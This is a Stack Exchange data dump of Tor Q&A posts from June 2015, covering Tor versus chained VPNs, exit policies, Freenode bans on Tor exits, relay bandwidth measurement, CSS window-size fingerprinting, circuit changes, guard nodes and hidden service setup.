  <row Id="7019" PostTypeId="2" ParentId="7018" CreationDate="2015-06-15T17:24:08.473" Score="1" Body="&lt;p&gt;I feel the Tor FAQ answers this question:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.torproject.org/docs/faq.html.en#AnonymityAndSecurity&quot; rel=&quot;nofollow&quot;&gt;https://www.torproject.org/docs/faq.html.en#AnonymityAndSecurity&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Generally speaking, Tor aims to solve three privacy problems:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;First, Tor prevents websites and other services from learning your&#xA;  location, which they can use to build databases about your habits and&#xA;  interests. With Tor, your Internet connections don't give you away by&#xA;  default -- now you can have the ability to choose, for each&#xA;  connection, how much information to reveal.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Second, Tor prevents people watching your traffic locally (such as&#xA;  your ISP) from learning what information you're fetching and where&#xA;  you're fetching it from. It also stops them from deciding what you're&#xA;  allowed to learn and publish -- if you can get to any part of the Tor&#xA;  network, you can reach any site on the Internet.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Third, Tor routes your connection through more than one Tor relay so&#xA;  no single relay can learn what you're up to. Because these relays are&#xA;  run by different individuals or organizations, distributing trust&#xA;  provides more security than the old one hop proxy approach.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="112" LastActivityDate="2015-06-15T17:24:08.473" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7020" PostTypeId="1" CreationDate="2015-06-15T17:25:57.380" Score="0" ViewCount="188" Body="&lt;p&gt;Lets say i buy 3 vpns with bitcoin and route them trough each other.&#xA;Whats the difference from this setup abd tor?&lt;/p&gt;&#xA;" OwnerUserId="7654" LastActivityDate="2015-06-22T13:40:03.163" Title="Difference beetwen tor and vpn" Tags="|tor-browser-bundle|vpn|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7021" PostTypeId="1" CreationDate="2015-06-15T19:08:53.377" Score="4" ViewCount="458" Body="&lt;p&gt;There is a comment in the &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;torrc&lt;/code&gt; man page&lt;/a&gt; that exit policies can target the local machine or private networks, like say : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ExitPolicy accept 127.0.0.1:80&#xA;ExitPolicy reject private:*&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does anyone actually do this?  How would one actually exploit it?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are no &lt;code&gt;ip&lt;/code&gt; address limits specified in the consensus according to :  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;egrep &quot;^p6? &quot; /var/lib/tor/cached-microdescs | grep ':'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I suppose this means &quot;Tor does not bother to list such exits&quot;, or their operators somehow suppress inclusion, or nobody does this.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If someone configures this, how does one use the access the local exit created?  Does the server need to set &lt;code&gt;Nickname foobar&lt;/code&gt; or whatever.  And the client need to set &lt;code&gt;AllowDotExit 1&lt;/code&gt; and then access &lt;code&gt;localhost.foobar.exit:80&lt;/code&gt;?  Is there an easier way?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this a viable approach to making a private exit useful for &lt;a href=&quot;https://tor.stackexchange.com/questions/6803/gmail-and-gtalk-over-tor-suggestions&quot;&gt;pinning an exit for a specific site&lt;/a&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, what is the difference between &lt;code&gt;ExitPolicy&lt;/code&gt; and &lt;code&gt;ReachableAddresses&lt;/code&gt;?  &lt;/p&gt;&#xA;" OwnerUserId="3731" LastActivityDate="2015-06-17T13:55:49.250" Title="ExitPolicy to local machine" Tags="|configuration|exit-policies|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7022" PostTypeId="2" ParentId="7020" CreationDate="2015-06-15T20:13:09.690" Score="1" Body="&lt;p&gt;For starters, your VPNs would always be the same. With Tor your path through the network can continuously change, which makes it noticeably more difficult to be tracked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think this difference is big enough to warrant an answer of it's own.&lt;/p&gt;&#xA;" OwnerUserId="7655" LastActivityDate="2015-06-15T20:13:09.690" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7023" PostTypeId="2" ParentId="7020" CreationDate="2015-06-16T00:46:58.640" Score="3" Body="&lt;p&gt;Firstly, if you aren't using Tor Browser, then your browser probably already uniquely fingerprints you. The Tor developers spend endless hours making sure that you look exactly like every other Tor user. With 3 VPNs, the websites you visit will be able to determine this fingerprint and correlate all such traffic. This may or may not be enough to actually identify your real IP address, but even if it doesn't you still stand out from everyone else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Secondly, you are trusting the same three VPNs for all your simultaneous connections and all your future connections. With Tor, connections to different sites go through different circuits. Also there are thousands of relays that your traffic could go through, not just 3. If there were only 3, correlation attacks become much more feasible and the three VPNs can become targets for state actors (not to mention that some, if not all, of these VPNs may already be compromised/provided by state actors). A VPN probably logs all IP addresses in and out and may be mandated to give up those logs by law. You would have to be very careful about choosing your VPNs. Non-malicious tor relays do not keep IP logs, so there is nothing an adversary can lean on them to give up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thirdly, Tor is free, so no need to purchase anything and potentially leave a paper (blockchain) trail. Bitcoin is not an anonymous currency. How are you purchasing your bitcoin? Unless it's with cash, then anyone can track your VPN purchases. Even if you pay with cash (which for 3 VPNs you will need quite some cash) with what internet connection are you going to pay them? If you use your real IP to get their BTC link, you have deanonymized yourself. You could go through tor of course, if they accept tor connections.&lt;/p&gt;&#xA;" OwnerUserId="1172" LastActivityDate="2015-06-16T00:46:58.640" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7024" PostTypeId="1" AcceptedAnswerId="7027" CreationDate="2015-06-16T03:26:46.187" Score="1" ViewCount="3220" Body="&lt;p&gt;Whenever I try using Freenode IRC with Tor, Freenode says my Tor node's exit IP is banned. Does Freenode IRC not support Tor exit nodes?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I get this error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;-NickServ- This nickname is registered. Please choose a different nickname, or identify via /msg NickServ identify .&#xA;  &lt;br&gt;* You are banned from this server- Your tor exit node must not allow connections to freenode (tor exit node (chat.freenode.net:8000)).  Email tor-kline@freenode.net when corrected. (2015/6/16 04.12)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="7643" LastEditorUserId="7643" LastEditDate="2015-06-16T04:16:22.453" LastActivityDate="2015-06-16T08:15:19.473" Title="Does Freenode IRC not support Tor exit nodes?" Tags="|chat|" AnswerCount="1" CommentCount="7" ClosedDate="2015-06-16T09:23:32.597" ContentLicense="CC BY-SA 3.0" />
  <row Id="7026" PostTypeId="1" CreationDate="2015-06-16T08:04:46.450" Score="3" ViewCount="335" Body="&lt;p&gt;I am working on a tor project that deals with relays' bandwidths. Recently, I have spoken to a relay operator who divulged that the observed bandwidth of one of the relays was faked. The data was collected via Onionoo. Bandwidth stats are apparently reported by the operators themselves.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question: is there a way to accurately measure the bandwidth of relays?&lt;/p&gt;&#xA;" OwnerUserId="6990" LastActivityDate="2015-08-17T16:04:18.487" Title="Accurately measuring bandwidth" Tags="|relays|bandwidth|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7027" PostTypeId="2" ParentId="7024" CreationDate="2015-06-16T08:15:19.473" Score="1" Body="&lt;p&gt;The status on &lt;code&gt;#freenode&lt;/code&gt; currently says:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Due to ongoing abuse the tor-sasl hidden service has been temporarily disabled&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="7643" LastActivityDate="2015-06-16T08:15:19.473" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7028" PostTypeId="2" ParentId="3625" CreationDate="2015-06-16T09:28:00.090" Score="3" Body="&lt;p&gt;&lt;strike&gt;Freenode has a &lt;a href=&quot;https://freenode.net/irc_servers.shtml&quot; rel=&quot;nofollow&quot;&gt;separate page titled »Accessing Freenode via Tor«&lt;/a&gt;. They run an own hidden service at the address &lt;code&gt;irc://frxleqtzgvwkv7oz.onion&lt;/code&gt;. Just set up your client to connect to this address via Tor. To successfully connect you need to have a NickServ account and SASL enabled.&lt;/strike&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However Freenode blocks this hidden service from time to time. If this happens there is no chance to connect to Freenode via the Tor network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As it was written in the comments Freenode decided to shut down their onion service and won't provide this possibility again.&lt;/p&gt;&#xA;" OwnerUserId="88" LastEditorUserId="88" LastEditDate="2016-02-28T17:36:41.800" LastActivityDate="2016-02-28T17:36:41.800" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7029" PostTypeId="2" ParentId="7021" CreationDate="2015-06-16T14:59:42.243" Score="2" Body="&lt;p&gt;Please see the &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en#ExitPolicyRejectPrivate&quot; rel=&quot;nofollow&quot;&gt;ExitPolicyRejectPrivate torrc option&lt;/a&gt;. As the ExitPolicy man page entry says...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;These addresses are rejected by default [...] unless&#xA;you set the ExitPolicyRejectPrivate config option to 0.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's very much not suggested but if your goal in all this is to use your own relay as a single-hop exit see &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en#AllowSingleHopCircuits&quot; rel=&quot;nofollow&quot;&gt;AllowSingleHopCircuits&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2015-06-16T14:59:42.243" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7031" PostTypeId="1" CreationDate="2015-06-16T20:19:54.240" Score="7" ViewCount="5604" Body="&lt;p&gt;Is it possible to change Tor circuit using Javascript or configuring it to change Tor circuit in a certain interval?&lt;/p&gt;&#xA;" OwnerUserId="7666" LastActivityDate="2022-05-22T14:05:51.667" Title="Programmatically changing Tor circuit" Tags="|circuit|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7032" PostTypeId="1" CreationDate="2015-06-17T00:26:23.860" Score="2" ViewCount="452" Body="&lt;p&gt;I have JavaScript turned off, and so no leakage of screen resolution to Panopticlick.eff.org fingerprint testing tool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, JonDonym's one - ip-check.info - has an alarming-looking vector down the bottom called 'Browser window'. Even with JS off, this value persists, and reveals even more uniqueness than the 'outer' screen resolution itself can - if you have Firefox's Menu Bar showing, the value changes - if you even zoom in (e.g. use NoSquint add-on on a larger screen), it changes, in fact it's in real-time as you change anything inside Firefox that affects the 'inner' window dimensions itself!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Without using JS, Flash or anything else aside from standard HTML and CSS - does this value get passed onto the webserver and thus can be used as a very serious de-anonymization vector?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or, being dynamic and CSS, is it only local-browser residing, and so nothing to worry about at all?&lt;/p&gt;&#xA;" OwnerUserId="7668" LastActivityDate="2015-08-16T20:48:07.747" Title="Do 'window.innerWidth' and 'window.innerHeight' in CSS pass back the values to the webserver?" Tags="|tor-browser-bundle|anonymity|deanonymization|fingerprinting|jondonym|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7034" PostTypeId="2" ParentId="7021" CreationDate="2015-06-17T13:55:49.250" Score="1" Body="&lt;p&gt;I've found a partial answer although browsing the tor source code, although reading the man page more closely would've sufficed.  lol&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a &lt;code&gt;FetchUselessDescriptors&lt;/code&gt; option that, if you set it, causes Tor to fetch the old style full descriptors, not just the current microdescriptors.  At that point, there are many reject lines for specific domains, but not currently any accept lines :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;grep &quot;:\*&quot; /var/lib/tor/cached-descriptors&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There is a script at &lt;code&gt;contrib/or-tools/exitlist&lt;/code&gt; that helps you find exits for specific IP ranges. &lt;/p&gt;&#xA;" OwnerUserId="3731" LastActivityDate="2015-06-17T13:55:49.250" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7035" PostTypeId="1" AcceptedAnswerId="7037" CreationDate="2015-06-17T14:08:37.783" Score="1" ViewCount="80" Body="&lt;p&gt;How can I submit a pull request to the Tor &lt;a href=&quot;https://gitweb.torproject.org/tor.git&quot; rel=&quot;nofollow&quot;&gt;core repo&lt;/a&gt;?&lt;/p&gt;&#xA;" OwnerUserId="7674" LastActivityDate="2015-06-17T19:46:25.773" Title="Making a Tor pull request" Tags="|source-code|git|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7036" PostTypeId="2" ParentId="7032" CreationDate="2015-06-17T19:29:26.100" Score="1" Body="&lt;p&gt;Yes, an attacker can easily pass the value to a web server by using the triggered (size-specific) CSS rule to load a remote resource that encodes the size in its URL. You can even make this pretty efficient (as opposed to ip-check.info's inclusion of thousands of candidate CSS rules) by doing a binary search for the size using nested CSS inclusions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may want to set the menu bar to be always visible (and restart Tor Browser), that way it's not measurable.&lt;/p&gt;&#xA;" OwnerUserId="7676" LastActivityDate="2015-06-17T19:29:26.100" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7037" PostTypeId="2" ParentId="7035" CreationDate="2015-06-17T19:46:25.773" Score="0" Body="&lt;ol&gt;&#xA;&lt;li&gt;Register for a new account at the &lt;a href=&quot;https://trac.torproject.org/projects/tor&quot; rel=&quot;nofollow&quot;&gt;Tor Bug Tracker&lt;/a&gt;. If you don't want to register there is also a default account. You'll find username and password at the page.&lt;/li&gt;&#xA;&lt;li&gt;Create a &lt;a href=&quot;https://trac.torproject.org/projects/tor/newticket&quot; rel=&quot;nofollow&quot;&gt;new ticket&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Depending if you have a public repository or not you can do different steps:&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Add a link to a public repository. You can either host it on your own or use &lt;a href=&quot;https://en.wikipedia.org/wiki/Comparison_of_source_code_hosting_facilities&quot; rel=&quot;nofollow&quot;&gt;code hosting facility&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Otherwise just create a diff and append it to your ticket. Make should that the patch applies to the current master.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Wait until someone picks up on your ticket and sends you comments or approves your patch.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="88" LastActivityDate="2015-06-17T19:46:25.773" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7038" PostTypeId="1" CreationDate="2015-06-17T20:42:34.123" Score="0" ViewCount="146" Body="&lt;p&gt;I am trying to set up a tor non exit relay, i am running it on debian wheezy inside of a virtual machine run in hyper-v on server2o12 r2 datacenter, my router is a ubiquiti ER-8Pro both ports 9001 and 9030 are forwarded to the virtual machine (The VM has a static ip and its own dedicated nic)and are opened in the firewall, i used the port scanner on whatsmyip.org to verify that both of those ports are open, and they are, however the log is showing an error saying it has not managed to confirm that the ports are open. does anyone have any idea on what the solution to this would be?&lt;/p&gt;&#xA;" OwnerUserId="7678" LastEditorUserId="88" LastEditDate="2015-06-18T07:41:43.363" LastActivityDate="2015-06-18T07:41:43.363" Title="Tor Non Exit Relay Port Issue" Tags="|configuration|relays|debian|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7039" PostTypeId="1" CreationDate="2015-06-18T03:11:29.337" Score="1" ViewCount="762" Body="&lt;p&gt;I'm using my cellphones hotspot. I always use it with tor. I changed my clock ahead 2 hours after the last time I connected. I got a error log that said my clock was wrong changed that now I get this one. I have no idea what to do someone please help me figure this out.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;6/17/2015 8:57:01 AM.403 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;6/17/2015 8:57:01 AM.403 [NOTICE] Bootstrapped 5%: Connecting to directory server &#xA;6/17/2015 8:57:01 AM.798 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server &#xA;6/17/2015 8:58:11 AM.880 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;6/17/2015 8:58:11 AM.890 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;6/17/2015 8:58:11 AM.890 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;6/17/2015 8:58:11 AM.890 [WARN] connection_connect_sockaddr(): Bug: Tried to open a socket with DisableNetwork set. &#xA;6/17/2015 8:58:11 AM.890 [WARN] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory server. (Network is unreachable [WSAENETUNREACH ]; NOROUTE; count 1; recommendation warn; host 44BEEA03A5338D7308D06DA3D56F1F2F2F9FBFC2 at 88.198.227.74:22) &#xA;6/17/2015 8:58:13 AM.626 [NOTICE] Delaying directory fetches: DisableNetwork is set. &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7682" LastEditorUserId="88" LastEditDate="2015-06-18T07:40:16.360" LastActivityDate="2015-07-23T21:30:21.287" Title="can't connect please help" Tags="|configuration|network-configuration|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7041" PostTypeId="2" ParentId="7031" CreationDate="2015-06-18T15:07:54.687" Score="2" Body="&lt;p&gt;It is called &quot;NYM&quot;-command.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;a certain interval?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;1) Default interval is 10 minutes. You would change it in your torrc ( Configuration file ) read the f.. manual.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Also, you can always change circuit by telnet, You need to connect to Tor's control port, thereafter send there right command. Again, read the manual. You must login with you password.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) In Unix-like systems, you would always change the circuit by one SIGNAL, often it is SIGHUP ( Number 1 ).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;kill -1 `pidof tor`&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;works for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or, &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;kill -HUP `pidof tor`&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/SIGHUP&quot; rel=&quot;nofollow&quot;&gt;https://en.wikipedia.org/wiki/SIGHUP&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Daemon programs sometimes use SIGHUP as a signal to restart themselves, the most common reason for this being to re-read a configuration file that has been changed.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Here, in Tor, &quot;re-read a configuration file&quot; - includes a building of new circuit for you.&lt;/p&gt;&#xA;" OwnerUserId="7602" LastActivityDate="2015-06-18T15:07:54.687" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7042" PostTypeId="2" ParentId="7026" CreationDate="2015-06-18T15:10:51.070" Score="1" Body="&lt;p&gt;It's not entirely true to say that the Tor relay controls the bandwidth on the client side. There are two values in the TORRC that that help limit how much bandwidth is consumed: RelayBandwidthRate and MaxAdvertisedBandwidth. This isn't the decider for the bandwidth that you advertise.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://blog.torproject.org/blog/lifecycle-of-a-new-relay&quot; rel=&quot;nofollow noreferrer&quot;&gt;This article&lt;/a&gt; covers how bandwidth is measured on the Tor network.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Originally, the directory authorities would just use whatever bandwidth estimate you claimed in your relay descriptor. As you can imagine, that approach made it cheap for even a small adversary to attract a lot of traffic by simply lying. In 2009, Mike Perry deployed the &amp;quot;bandwidth authority&amp;quot; scripts, where a group of fast computers around the Internet (called bwauths) do active measurements of each relay, and the directory authorities adjust the consensus bandwidth up or down depending on how the relay compares to other relays that advertise similar speeds.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;This a portion of the much larger and detailed article. I think your answers are in there.&lt;/p&gt;&#xA;" OwnerUserId="3788" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2015-06-18T15:10:51.070" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7043" PostTypeId="1" CreationDate="2015-06-18T15:23:55.720" Score="3" ViewCount="586" Body="&lt;p&gt;I'm using the Anonabox and, as its hardware connects to Tor, I'm looking for something similar to the 'transparent torification' option in the Tor browser (to avoid running everything through Tor twice).&#xA;I've been told that &quot;the new way of doing this is to use the TOR_SKIP_LAUNCH=1 as a command line argument for starting the Tor Browser&quot;.&#xA;However, I am quite new to all this and slightly overwhelmed by the technical aspects of documentation I could find.&#xA;Where does one enter this command? Is there any documentation available that can serve as a step-by-step guide?&lt;/p&gt;&#xA;" OwnerUserId="7575" LastEditorUserId="88" LastEditDate="2015-06-19T08:34:44.507" LastActivityDate="2015-11-14T12:49:11.917" Title="Anonabox &amp; Tor (TOR_SKIP_LAUNCH)" Tags="|configuration|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7047" PostTypeId="1" AcceptedAnswerId="8597" CreationDate="2015-06-18T22:55:11.427" Score="1" ViewCount="6305" Body="&lt;p&gt;I downloaded Tor for Vista but when I click it the hourglass comes up for a moment and then goes away without opening the program. Any ideas on how to open it?&lt;/p&gt;&#xA;" OwnerUserId="7691" LastEditorUserId="88" LastEditDate="2015-06-19T08:31:35.853" LastActivityDate="2016-09-15T14:12:42.143" Title="I can't get Tor to work with Vista" Tags="|windows|help|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7048" PostTypeId="1" CreationDate="2015-06-19T01:58:01.630" Score="15" ViewCount="11625" Body="&lt;p&gt;&lt;em&gt;Every&lt;/em&gt; time I start Tor or switch to a new identity, the first web address in the list of Tor circuit connections is (Germany) 93.180.156.84.  Is Tor supposed to work this way?  I was under the impression that an entirely new path was created every time you switch identities.&lt;/p&gt;&#xA;" OwnerUserId="3495" LastEditorUserId="88" LastEditDate="2015-06-19T06:46:43.823" LastActivityDate="2017-05-16T04:40:25.993" Title="Why is the first ip address Tor goes to the same one in Germany?" Tags="|relays|guard|" AnswerCount="0" CommentCount="0" FavoriteCount="0" ClosedDate="2021-06-03T14:12:39.433" ContentLicense="CC BY-SA 3.0" />
  <row Id="7049" PostTypeId="1" AcceptedAnswerId="7061" CreationDate="2015-06-19T03:24:52.397" Score="3" ViewCount="2738" Body="&lt;p&gt;I am able to list the circuits, but for some reason I'm never able to quite get a circuit alone consistently, there always appears to be many of them with state &lt;em&gt;BUILT&lt;/em&gt;. This is especially true after I &lt;code&gt;close_circuit()&lt;/code&gt; on everything, Tor seems to automatically build anywhere from 1 to 5 at random right after.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only way to figure out which is in use is to get IP from a website and match it against all available exit nodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to either force Tor to only ever maintain a single circuit or to somehow figure out which circuit is actually being used on the SOCKS5 port?&lt;/p&gt;&#xA;" OwnerUserId="7693" LastEditorUserId="88" LastEditDate="2015-06-19T08:31:06.837" LastActivityDate="2019-02-27T12:19:35.777" Title="Stem: How to get current in-use circuit?" Tags="|circuit|stem|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7050" PostTypeId="2" ParentId="4099" CreationDate="2015-06-19T06:46:19.247" Score="17" Body="&lt;p&gt;Tor is supposed to work in this way. Former versions of Tor built a complete new circuit every time. However some researcher found out that a so-called &lt;a href=&quot;https://tor.stackexchange.com/q/380/88&quot;&gt;service location attack&lt;/a&gt; is possible. So the Tor Project changed the design in a way that defends this kind of attack. The defense is that the first relay in a circuit stays the same for some period of time. This node is now called &lt;em&gt;guard node&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Usually Tor keeps using the same guard node for several weeks. Tor uses a &lt;code&gt;state&lt;/code&gt; file (within your Tor installation) to keep track of guard nodes. You'll find several lines like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;EntryGuard AloneWithOurRecords 783C36CF2F61A1B3C4238499D92C619A9CDDEA3B DirCache&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in this file. Those lines determine the guards you'll use.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2015-06-19T06:46:19.247" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7051" PostTypeId="2" ParentId="4855" CreationDate="2015-06-19T08:48:10.420" Score="1" Body="&lt;p&gt;From the Tor manual site:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Add the following lines to your torrc:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HiddenServiceDir /Library/Tor/var/lib/tor/hidden_service/&#xA;HiddenServicePort 80 127.0.0.1:8080&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;  &#xA;  &lt;p&gt;You're going to want to change the HiddenServiceDir line, so it points to an actual directory that is readable/writeable by the user that will be running Tor. The above line should work if you're using the OS X Tor package. On Unix, try &quot;/home/username/hidden_service/&quot; and fill in your own username in place of &quot;username&quot;. On Windows you might pick:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HiddenServiceDir C:\Users\username\Documents\tor\hidden_service&#xA;HiddenServicePort 80 127.0.0.1:8080&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;  &#xA;  &lt;p&gt;Now save the torrc and restart your tor.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Accessing the hidden services is explained &lt;a href=&quot;https://www.torproject.org/docs/faq.html.en#AccessHiddenServices&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short it says &lt;strong&gt;README once, than README twice&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.freecap.ru/eng/&quot; rel=&quot;nofollow&quot;&gt;FreeCap&lt;/a&gt; is an alternative. When using FreeCap set proxy protocol to SOCKS 5 and under settings set DNS name resolving to remote. This will allow you to use almost any program with Tor without leaking DNS lookups and allow those same programs to access hidden services. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Set that up correctly, you should be able to enter into a browser the tor hostname of your git server found here:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The other file Tor will create is called &quot;hostname&quot;. This contains a  short summary of your public key -- it will look something like &lt;strong&gt;duskgytldkxiuqc6.onion&lt;/strong&gt;. This is the public name for your service, and you can tell it to people, publish it on websites, put it on business cards, etc.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="7694" LastActivityDate="2015-06-19T08:48:10.420" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7052" PostTypeId="1" AcceptedAnswerId="7053" CreationDate="2015-06-19T09:06:07.527" Score="0" ViewCount="3420" Body="&lt;p&gt;Let's say I want to find information about some dictator and want people to answer questions about him. I want to be undetected + insure the same for the people in such a survey. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are the differences if I open &quot;Incognito mode&quot; in Chrome and search via &quot;&lt;a href=&quot;https://startpage.com&quot; rel=&quot;nofollow&quot;&gt;https://startpage.com&lt;/a&gt;&quot; and if I conduct the survey via Tor?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks.&lt;/p&gt;&#xA;" OwnerUserId="7640" LastActivityDate="2017-04-19T11:19:03.850" Title="tor vs https://startpage.com" Tags="|browsers|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
